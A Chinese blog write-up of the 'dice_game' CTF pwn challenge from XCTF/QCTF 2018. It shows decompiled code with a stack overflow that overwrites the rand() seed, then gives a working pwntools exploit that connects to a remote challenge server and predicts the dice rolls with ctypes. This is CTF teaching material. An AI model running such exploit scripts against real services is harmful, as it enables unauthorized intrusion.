攻防世界-dice_game-Writeup

原创

SkYe231_ 于 2020-05-13 23:15:04 发布 463 收藏

文章标签： dice_game 攻防世界

本文链接：https://blog.csdn.net/weixin_43921239/article/details/106109307

dice_game

> 题目来源： XCTF 4th-QCTF-2018

考点：栈溢出、混合编程

基本情况

程序实现的是一个具有用户姓名输入的菜随机数程序。

保护措施

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
```

栈溢出

一开始我在纠结是输入数字时使用的是**短整型**，可不可能是整型溢出，这样既能保持低位数字符合要求，又能控制 rip 跳转到后门。一时想不起来是那一条题和这条很相似的，就这样怀疑。

最后观察是这里存在栈溢出：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);                  // 随机种子
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);//栈溢出
  if ( v6 <= 49 )                               // 字符长度小于等于49
    buf[v6 - 1] = 0;                            // 最后一个字符替换为\x00
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
……
}
```

这是个小范围的栈溢出，可以覆盖随机数 seed 。做到这里发现和这条题目完全一样：[guess_num](# guess_num)。

思路

固定随机数之后，就是 python c 的联合编程，用 `ctypes` 实现。

`rand` 缺省种子参数时默认使用种子为：`0`。

EXP

```
from pwn import *
from ctypes import *

context.log_level = 'debug'

p = remote("124.126.19.106",45292)
#p = process("./dice_game")
elf = ELF("./dice_game")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = 'skye'.ljust(0x40,'a') + p64(0)
p.recvuntil("name:")
p.sendline(payload)

for _ in range(50):
 p.recvuntil('Give me the point')
 p.sendline(str(libc.rand()%6+1))


p.interactive()
```